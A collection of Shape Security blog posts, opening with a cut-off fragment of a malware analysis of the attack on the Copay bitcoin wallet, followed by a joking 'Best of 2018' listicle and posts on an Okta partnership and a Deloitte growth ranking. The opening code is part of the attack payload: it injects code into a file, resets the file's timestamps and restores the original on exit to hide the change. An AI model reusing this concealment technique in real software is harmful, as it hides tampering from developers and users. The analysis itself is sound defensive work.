        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
    } catch (e) {}

This was lucky. What could have been a monstrous brute forcing problem ended up needing less than a million iterations. The affected package with the key in question ended up being the bitcoin wallet Copay’s client application. The next two payloads dive deeper into the application itself and, given the target application is centered around storing bitcoins, you can probably guess where this might be going.

If you find topics like this interesting and want to read an analysis for the other two payloads or future attacks, then be sure to “like” this post or let me know on twitter at @jsoverson.

The Best of Shape Security 2018

“Hold on there, critics!” – Photo Credit: Warner Brothers

Focus on the Good Things

There are already too many blogs focusing on the bad things that happened this year. Focusing on the bad things in life makes you miss the good things. For example, reading through the reviews of all 61 “worst movies of 2018took us would take you 96 minutes (hint: the worst is not Rampage; that movie was awesome, and so true to the game’s aesthetic). And you don’t have to read “The Worst Rappers of 2018,” because you already know XXXTentacion and Post Malone are going to be on it. (Post, if you read this, we’re just kidding; call us! We left a Glock in your car, we think.) Or, the worst cryptocurrency of 2018 (answer: all of them).

Instead, let’s focus on positive things, like the best of Shape Security in 2018. What kind of things? You know, open-source software, funny moments, tech epiphanies, and playful microsites. Public stuff! But enough topical preamblelet’s just show you!

January – Unminify JavaScript Tool


You might not have known this until now, but Shape’s architects are some of the smartest JavaScript experts in the world. Like, seriously, these are some of the guys who work on the JS standards. One fellow’s brain is so big he has to use an external brain pack. These genuses generously contribute to the Shape Security GitHub. Most of their tools are for solving problems beyond the ken of us mere mortals in marketing, but not this one.  

Unminify is “a little project to undo several of the horrible things JavaScript build tools will do to JavaScript.” Suppose a bunch of super-gnarly malicious JavaScript is scraping your site, but you can’t tell because it’s obfuscated and minified. Run it through Unminify, which will expand the JavaScript into something right out of Strunk & White’s The Elements of Style.

Warning: Check out the hilarious “safety” levels (below), which range from “useless” to “wildly -unsafe.” Come to think of it, those adjectives describe some of us at Shape marketing!


npm install -g unminify

CLI Usage:

uniminify /path/to/file.js
  • --safety may be given to enable/disable transformations based on the user’s required safety guarantees. Refer to the safety levels documentation for more details. The value of --safety may be one of
    • useless
    • safe (default)
    • mostly-safe
    • unsafe
    • wildly-unsafe
  • --additional-transform may be given zero or more times, each followed by a path to a module providing an AST transform; the function signals that the transformation was not applied by returning its input

You can also use the unminify API. Lovely! Merry Christmas!

May: How Starbucks Combats Account Takeover

“When you don’t know what to give someone for Christmas, you give them a Starbucks gift card, right?” — Mike Hughes, Starbucks. LOL, guilty as charged right here. One Christmas, we gave out only Starbucks gift cards. The sheer global ubiquity of the green mermaid logo ensures that its gift card program will remain one of the largest, if not the largest, in the world. In 2013 and 2014, Starbucks was one of the most targeted online portals for gift card fraud. They turned to Shape Security, and they were blown away! Don’t believe us?

Starbucks: Why traditional security methods don’t work for ATO

In this sobering webinar, our co-founder and CEO, Derek Smith, draws the story out of Mike Hughes, Starbucks Director of Information Security.

This was the first time we ever got “official” with a customer—you know, like Facebook Official. If you’re looking for the SparkNotes on the video, read this blog we wrote earlier (while sitting in a Starbucks!).

July: 2018 Credential Spill Report

In July we released our marquee communique, the second annual Credential Spill Report. Shape has a unique perspective on credential spills and credential stuffing, because we see more re-used credentials than any other company on the planet.

Credential Stuffing Attacks on a Top 5 US Bank

The report is full of titillating details about 2018’s automated attackers. For example, the chart above shows five different attack groups hitting a Top 5 US bank at the same time. We actually split and track each group and give them cute names. The “Smooth Criminals” had the best and most unique credential list. Smooth Criminals, if you’re reading this, we want you to know that we’ve put you on Santa’s naughty list.

August: Blackfish Inner Workings, Explained!

In August, we answered the questions “What is Blackfish?” and “How does it work?” in our blog entry, “Look, Ma, No Passwords!” Spoilers: Blackfish uses a Bloom filter to store a set of leaked credentials, ensuring we don’t actually expose all those individual credentials again. Wait, what?

The celebrated 2017 NIST Digital Identity Guidelines suggest that organization check incoming credentials against a corpus of known already-leaked credentials. Sounds sensible, right? You’re nodding your head. Except, where is this known already-leaked credential list, and how are you going to check it? You could hire security researchers to build Pastebin scrapers and download breach lists and pay some shady hackers for their 1.4 billion leaked creds and jam them all into a database. And then try to secure that database so it doesn’t get leaked.

Or, you could just buy Blackfish, because we do all that for you, and we secure the database in such a way that if it’s compromised, no credentials leak. Plus, we’ve got credentials that aren’t even out on the dark web yet. It’s a total no-brainer. It even says that on the packaging. “Blackfish: No-brainer edition.”

September: Two FBI Agents Break It Down

Trends in Online Fraud from the FBI and Shape

M.K. Palmore, Head of the FBI’s San Francisco Cyber Branch, and our very own Dan Woods, VP of Shape Intelligence, who is himself a former FBI Special Agent, teamed up to fight crime and accidentally defenestrate an entire brigade of social-justice warriors. Okay, we made that last part up. But really, these are two of the finest speakers in the industry, and you’ll want to hear what they have to say about the best practices for fighting cybercriminals and financial fraud.

November: Exploiting Developer Infrastructure is Ridiculously Easy

Written by Shape’s own Jarrod S. Overson (“J-Rod,” as he known in the hood) on the beautiful Medium platform, this fascinating breakdown tells the story of a shadowy attacker bent on draining the last dregs from the bottom of the Bitcoin barrel. By exploiting the current, far-too-trusting developer infrastructure, the attacker put in place an encrypted payload designed to compromise a particular set of Bitcoin wallets. If you’re a JS developer, designer, HTML code monkey, or DevOps engineer, you’ll want to read J-Rod’s excellent analysis.

November: #1 Fastest Growing Company in Silicon Valley

In November, Deloitte recognized Shape as the third-fastest growing company in the United States, and the number one fastest in Silicon Valley, in their Deloitte Technology Fast 500 List. Some companies are excited about their 20% annual revenue growth. Shape grew 23,576 percent over the past three years. That’s a huge number! Millennials won’t understand this reference, but if you wrote the number on a check it would look like twenty-three thousand, five hundred and seventy six. Also, it would be in cursive, which they couldn’t understand either.

Actually, we shouldn’t mock Millennials, because a regiment of brilliant Millennials work at Shape, and we’re hiring more all the time. But not everyone we hire is young, or brilliant, or good looking. Take, for example, this guy:

December: The Hiring of B-list Cybercelebrity David Holmes

California’s recent ban on discrimination against the mentally unstable has finally allowed Shape Security to lure David Holmes from his padded cell in northern Colorado. Rumor has it that for a signing bonus he was promised access to the amazing catered food at Shape’s Silicon Valley HQ, plus a generous regimen of mood stabilizers. He is expected to pen blog listicles, research food journalism, and forget his corporate password 20 times over the next two years.

December: Shape and Okta Get Facebook Official

In December we unveiled our partnership with Okta. Okta is all about logins and authentication and authorization. That makes them a perfect partner for Shape, as we’ll provide Okta’s customers our frictionless defense against bots, credential stuffing attacks, and fake account registrations.

The Okta and Shape partnership extends across all major touch points: web, mobile, and APIs. To learn more about using Shape to enhance your Okta SSO and customer portals, check out Okta’s Shape page, where they have an Okta+Shape datasheet!

December: JPMC Inducts Shape Into Its Hall of Innovation

Once a year, the JPMorgan Chase Hall of Innovation recognizes select emerging technology companies for their innovation, business value, and disruptive nature. This year, the award was presented to Shape at the J.P. Morgan Technology Innovation Symposium, held in Menlo Park.

Rohan Amin, the CISO at JPMC, extolled: “We were impressed by Shape’s innovative approach to help enable a high-security, low-friction user experience… and we appreciate our partnership with them.”

Here’s to Another Great Year!

The Hall of Fame induction was a humbling moment, and one that seems like a great way to look back on the year. Frivolity aside, we hope you can see that it has indeed been a fantastic year at Shape Security, and we have every reason to believe that 2019 will be even better!

[Editor’s Note: If you were really paying attention, you probably noticed that the authors violated essentially all of the tenets of The Elements of Style, not to mention good taste, in this article, and even misspelled the word “geniuses,” which speaks volumes about their competence.]

Better Together: Partnering with Okta

Every day, nearly 10 million valid credentials fall into the hands of criminals, fueling massive amounts of fraud. Shape’s new partnership with Okta aims to eliminate this fraud by providing Okta customers an invisible layer of defense against bots, credential stuffing attacks, and account takeover attempts. By implementing both solutions, businesses can have the very best in both identity and security to protect their workforces and consumers.

Businesses trust Okta for identity services across both single sign-on (SSO) and customer identity and access management (CIAM) portals. Shape’s partnership with Okta enhances security in both cases:

For Okta’s enterprise SSO customers, adding Shape provides a powerful, invisible layer of defense. Large credential breaches often include valid employee credentials. With Okta and Shape installed together, criminals will be further prevented from performing credential stuffing attacks using those stolen usernames and passwords.

For Okta’s CIAM customers, deploying Shape increases security without adding friction to the user experience. Shape enables businesses to eliminate CAPTCHAs and other consumer-unfriendly security measures on login pages while also preventing fraudulent account registrations.

The Okta and Shape partnership extends across all major touch points: web, mobile, and APIs. To learn more about using Shape to enhance your Okta SSO and customer portals, contact Shape or your Okta representative.

#1 Fastest Growing Company in Silicon Valley | Deloitte’s Technology Fast 500

FastestGrowing_Linkedin.jpgToday Shape was recognized as the fastest-growing company in Silicon Valley and the third-fastest growing company in the U.S. by Deloitte’s Technology Fast 500™, a ranking of the 500 fastest growing technology, media, telecommunications, life sciences and energy tech companies in North America.  Rankings are based on a company’s revenue growth from 2014 to 2017.

“We’re laser-focused on protecting our customers and we have an incredible team,” said Shape’s CEO, Derek Smith, who credits the 23,576 percent revenue growth to the company’s unceasing dedication to customer success. Smith continued, “This is why we are able to grow incredibly quickly while maintaining a 99 percent customer retention rate.”

00000IMG_00000_BURST20181114193632655_COVER  Derek Smith, Shape CEO, accepting the award on November 14, 2018.

“Congratulations to Shape and the other Deloitte 2018 Technology Fast 500 winners on this impressive achievement,” said Sandra Shirai, vice chairman, Deloitte LLP, and U.S. technology, media and telecommunications leader. “These companies are innovators who have converted their disruptive ideas into products, services and experiences that can captivate new customers and drive remarkable growth.”  

This is the latest honor for Shape, which has also been recognized by Fortune Magazine as one of the Top 100 companies in artificial intelligence, ranked by CNBC as one of the Top 50 most disruptive companies in the world, and named by Business Insider as one of the “25 Enterprise Startups to Bet Your Career On.”